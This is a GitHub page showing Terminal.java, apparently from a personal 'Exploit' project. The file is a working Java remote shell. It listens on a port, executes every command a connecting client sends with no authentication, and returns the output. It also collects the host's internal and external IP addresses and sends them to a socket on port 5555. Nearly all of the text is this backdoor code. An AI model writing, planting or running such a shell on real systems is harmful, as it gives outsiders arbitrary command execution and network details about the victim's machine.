-
Notifications
You must be signed in to change notification settings - Fork 0
/
Terminal.java
158 lines (147 loc) · 5.33 KB
/
Terminal.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.UnknownHostException;
import java.util.Enumeration;
class Terminal {
private static ServerSocket server;
private static BufferedReader cmdAnswerReader;
private static Process process;
private static String BasisVerzeichnis = "/Users/cigerxwinchaker/Desktop/EigendeProjekte/java_Projekt_Exploit/";
public InputStream exec(String command) throws InterruptedException, IOException {
try {
process = null;
process = Runtime.getRuntime().exec(command, null, new File(BasisVerzeichnis));
} catch (IOException e) {
return null;
}
return process.getInputStream();
}
public static void handleRequest(String basePath, Socket clientSo) throws IOException, InterruptedException {
Terminal.BasisVerzeichnis = basePath;
Terminal terminal = new Terminal();
BufferedReader clientInput = new BufferedReader(new InputStreamReader(clientSo.getInputStream()));
PrintWriter clientOutput = new PrintWriter(clientSo.getOutputStream(), true);
clientOutput.println("...reached CMD...");
String cmdAnswerLine = null;
while (!clientSo.isClosed()) {
clientOutput.println("Befehl > ");
String clientRequest = clientInput.readLine();
if (clientRequest != null) {
if (clientRequest.equals("exit")) {
clientOutput.println("All Systems shutdown... ");
server.close();
System.exit(0);
} else if (clientRequest.equals("leave")) {
clientSo.close();
} else if (clientRequest.equals("ch")) {
clientOutput.println("new Basedirectory > ");
String clientRequest1 = clientInput.readLine();
Terminal.BasisVerzeichnis = clientRequest1;
clientOutput.println("new Basedirectory = " + Terminal.BasisVerzeichnis);
} else {
try {
cmdAnswerReader = new BufferedReader(new InputStreamReader(terminal.exec(clientRequest)));
while ((cmdAnswerLine = cmdAnswerReader.readLine()) != null && !clientSo.isClosed()) {
clientOutput.println(cmdAnswerLine);
}
} catch (java.lang.NullPointerException exception) {
clientOutput.println("Command not working here for any reason.");
}
}
} else {
System.out.println("No messages");
break;
}
clientOutput.println("\n !!! Request executed !!!\n");
}
}
static public String getExternIP() throws IOException {
URL whatismyip = new URL("http://checkip.amazonaws.com");
BufferedReader in = new BufferedReader(new InputStreamReader(
whatismyip.openStream()));
String ip = null;
try {
ip = in.readLine();
} catch (IOException e) {
e.printStackTrace();
}
return ip;
}
static public String getInternIP() {
String ip;
String result="";
try {
Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces();
while (interfaces.hasMoreElements()) {
NetworkInterface iface = interfaces.nextElement();
if (iface.isLoopback() || !iface.isUp()) {
continue;
}
Enumeration<InetAddress> addresses = iface.getInetAddresses();
while(addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement();
ip = addr.getHostAddress();
result += (iface.getDisplayName() + " " + ip + "\n");
}
}
} catch (SocketException e) {
throw new RuntimeException(e);
}
return result;
}
public static void sendInformations() throws UnknownHostException, IOException {
Socket client = new Socket("localhost", 5555);
DataOutputStream dataOutput = new DataOutputStream(client.getOutputStream());
if(client.isConnected()) {
Enumeration<NetworkInterface> ifaces = NetworkInterface.getNetworkInterfaces();
while (ifaces.hasMoreElements()) {
NetworkInterface ni = (NetworkInterface) ifaces.nextElement();
dataOutput.writeUTF(ni.getName() + ":");
Enumeration<InetAddress> addrs = ni.getInetAddresses();
while (addrs.hasMoreElements()) {
InetAddress ia = (InetAddress) addrs.nextElement();
dataOutput.writeUTF(" " + ia.getHostAddress());
}
}
dataOutput.writeUTF(getExternIP());
}
client.close();
}
public static void main(String[] args) throws SocketException {
try {
System.out.println(getExternIP());
System.out.println(getInternIP());
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
} if (args.length > 1 ) {
try {
server = new ServerSocket(Integer.valueOf(args[0]));
} catch (IOException e) {
e.printStackTrace();
}
while (true) {
System.out.println("Server started, waiting for client"); // nur für tests
try {
Socket clientSo = server.accept();
handleRequest(args[1], clientSo);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
} else {
System.err.println("MISSING Arguments java Terminal [Port] [Path]");
}
}
}